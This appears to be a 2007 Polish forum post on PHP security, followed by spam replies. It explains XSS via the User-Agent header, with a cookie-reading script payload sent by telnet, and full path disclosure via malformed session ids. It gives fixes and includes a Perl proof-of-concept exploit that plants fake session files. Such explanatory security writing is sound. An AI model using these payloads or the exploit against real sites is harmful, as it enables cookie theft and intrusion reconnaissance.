Autor |
Wiadomość |
haker512
Administrator
Dołączył: 07 Lut 2007
Posty: 58
Przeczytał: 0 tematów
Ostrzeżeń: 0/5 Skąd: Kłodawa
|
|
php |
|
1) Wprowadzenie.
2) (Nie)bezpieczeństwo wyświetlania wersji przeglądarki.
3) Sesje..
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
1)
W tym artykule postaram się przedstawić pare zagadnień z obszaru
bezpieczeństwa skryptów PHP, głównie na podstawie moich doświadczeń.
Postaram się aby rzeczy które tu przedstawie nie były kopią (małą zmianą)
innych publikacji, na temat ogólnego bezpieczeństwa w PHP
a raczej innym aspektem spojrzenia na tego typu zagadnienie.
Tak czy inaczej mam nadzieje że artykuł przedstawi coś nowego w tym temacie.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
2)
Jak wiadomo jednym ze sposób wyświetlenia na stronie wersji przeglądarki
użytkownika jest użycie zmiennej 'HTTP_USER_AGENT' w praktyce wygląda to tak:
- - -
| | $user_agent = $_SERVER['HTTP_USER_AGENT'];
echo $user_agent;
?> |
- - -
Skrypt ten wyświetli nazwę przeglądarki użytkownika na stronie.
Co więc jest niebezpiecznego w takim skrypcie?
A więc możemy wysłać w nagłówku 'User-Agent' kod XSS który zostanie wykonany.
Przedstawie teraz mniej więcej jak ma wyglądać taki nagłówek:
- - -
| | $ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /tmp/index.php HTTP/1.0
User-Agent: <script>alert(document.cookie)</script> |
- - -
Oczywiście w telnecie nie zobaczymy co się stało
ale można użyć przeglądarki tekstowej typu lynx, links
aby kod javascript został wykonany.
Teraz pewnie ktoś by zadał pytanie 'Jak można to właściwie wykorzystać?'
A więc załóżmy że mamy na stronie takie skrypty:
- - -
| | // index.php
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$dane = $_SERVER['REMOTE_ADDR']." - ".$user_agent."
\n";
$nazwapliku = 'log.txt';
if(isset($user_agent)) {
$uchwyt = fopen($nazwapliku, 'a');
fwrite($uchwyt, $dane);
fclose($uchwyt);
}
?>
- - -
- - -
// admin.php
$nazwapliku = 'log.txt';
$uchwyt = fopen($nazwapliku, "r");
readfile("log.txt");
?> |
- - -
Plik index.php zapisuje adres IP i nazwę przeglądarki do pliku,
admin.php po prostu odczytuje dane z pliku log.txt,
a następnie wyświetla je na stronie.
Wszystko działa prawidłowo.
Ale jeśli zmienimy nagłówek 'User-Agent' możemy zastosować atak 'html injection'
jak i 'XSS' co daje bardzo duże możliwości wykorzystania..
Co do zabezpieczeń, myśle że zastosowanie funkcji
'htmlspecialchars()' na '$_SERVER['HTTP_USER_AGENT']' będzie odpowiednie.
Wygląda to tak:
- - -
| | $user_agent = $_SERVER['HTTP_USER_AGENT'];
echo htmlspecialchars($user_agent);
?> |
- - -
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
2)
Pozwolę sobie zacytować:
"Gość wchodzący na twoją stronę WWW otrzymuje unikalny identyfikator, tzw. id sesji.
Jest ono przechowywane albo jako ciasteczko po stronie użytkownika
lub propagowane w URL'u." (C php.net)
Dość niedawno odkryłem dziwne zachowanie php gdy jako id sesji podamy 'złe znaki'
jak np: '@, !, #, ^' itd.. mianowicie php wyrzuca błąd przez co ujawnia ścieżkę
dostępu do pliku. Przykład:
| |
- - -
session_start();
?>
- - -
- - -
$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /tmp/index.php HTTP/1.0
Cookie: PHPSESSID=@
HTTP/1.1 200 OK
(...)
Warning: session_start(): The session id contains invalid characters,
valid characters are only a-z, A-Z and 0-9 in /var/www/htdocs/tmp/index.php
on line 3
Warning: Unknown(): The session id contains invalid characters, valid characters
are only a-z, A-Z and 0-9 in Unknown
on line 0
Warning: Unknown(): Failed to write session data (files).
Please verify that the current setting of session.save_path is correct
(/tmp) in Unknown on line 0
Connection closed by foreign host.
- - - |
Oczywiście możemy się przed tym zabezpieczyć poprzez zmienną 'display_errors'
ustawioną na 'Off' lub też dodać '@' przed 'session_start()' co zmniejszy 'wyciek informacji'
Pozwoliłem sobie napisać prostego 'POC' exploita na ten błąd :
Kod:
| |
#!/usr/bin/perl
#
# (Proof Of Concept) by Kamil 'K3' Sienicki
#
# display_errors must be On
#
use IO::Socket;
if(@ARGV < 3) {
print "\n";
print "PHP Exploit (POC)\n";
print " by Kamil 'K3' Sienicki\n\n";
print "1. Create fake session file (sess_fake) in directory (default /tmp). \n";
print "2. Full path disclosure.\n\n";
print "Usage: ./php_bug.pl [host] [address] [type of attack (1 or 2)]\n\n";
exit;
}
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ARGV[0]", PeerPort => "80" ) || die "[-] Connect failed! \r\n";
if($ARGV[2] == 1) {
print "\n";
print "PHP Exploit (POC)\n";
print " by Kamil 'K3' Sienicki\n\n";
print "Name of session (default PHPSESSID): ";
$sess = ;
print "Name of fake sess_file: ";
$fake = ;
chomp($sess,$fake);
print $socket "GET $ARGV[1] HTTP/1.0\n";
print $socket "Cookie: $sess=$fake\n\n";
print "'$fake' fake file was created.. \n";
} elsif ($ARGV[2] == 2) {
print "\n";
print "PHP Exploit (POC)\n";
print " by Kamil 'K3' Sienicki\n\n";
print "Name of session (default PHPSESSID): ";
$sess = ;
chomp($sess);
print $socket "GET $ARGV[1] HTTP/1.0\n";
print $socket "Cookie: $sess=@\n\n";
while ($answer = <$socket>) {
if ($answer =~ m/^...Warning/) {
print $answer."\n";
}
}
} |
Co najdziwniejsze po opublikowaniu tego 'błędu?' na bugs.php.net
stwierdzone zostało że wcale nie jest to żaden bug.
Jak to zostało mniej więcej napisane.. wiekszość błędów wyświetla ścieżkę dostępu do pliku.
Problem w tym że użytkownik może napisać 'teoretycznie' prawidłowy kod który 'praktycznie'
nie będzie 100% bezpieczny a sam nie będzie o tym wiedział.
Jeśli stosuje 'obscurity' czyli np: ukrywa w ścieżce ważne nadrzędne katalogi
(z doświadczenia wiem że często tak się zdarza) tym bardziej tzw.
'Full Path Disclosure' będzie w tym przypadku niebezpieczny i możemy
uzyskać informacje do których nie powinniśmy mieć dostępu..
Post został pochwalony 0 razy
|
|
Pią 20:45, 09 Lut 2007 |
|
|
|
|
ehklxvxvzq
Gość
|
|
|
Hello! Good Site! Thanks you! ypnxyyzzaq
|
|
Śro 17:37, 17 Paź 2007 |
|
|
Kilkoi
Gość
|
|
|
Cool topic!
|
|
Nie 20:24, 23 Gru 2007 |
|
|
Kilkoi
Gość
|
|
|
Cool topic!
|
|
Pon 14:30, 24 Gru 2007 |
|
|
BMW
Gość
|
|
|
Cool site! Helpful topic!
|
|
Nie 17:55, 20 Sty 2008 |
|
|
honda-radio
Gość
|
|
|
Thx!
|
|
Sob 4:37, 16 Lut 2008 |
|
|
|
|
Możesz pisać nowe tematy Możesz odpowiadać w tematach Nie możesz zmieniać swoich postów Nie możesz usuwać swoich postów Nie możesz głosować w ankietach
|
|
|